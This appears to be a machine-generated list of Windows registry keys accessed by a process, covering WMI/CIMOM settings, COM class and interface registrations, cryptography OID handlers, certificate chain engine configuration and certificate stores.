HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\ProcessIdentifier HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\ProcessIdentifier HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\ProcessIdentifier HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms) HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription HKEY_LOCAL_MACHINE\software\microsoft\wbem\cimom HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\CIMOM HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default) HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InProcServer32 HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\LocalServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Macromedia\FlashPlayerSAU HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\LastUpdateCheck HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\CheckFrequency HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextLockCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextListCount HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7 HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\MuiCache\4b\7F06864B HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7 HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7 HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\crypt32 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\ChainEngine\Config HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllOpenStoreProv HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\My\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\My HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\My\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\My\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\My\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\My\CTLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\My\Keys HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\CA\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\CA HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs HKEY_USERS\.DEFAULT\ HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4 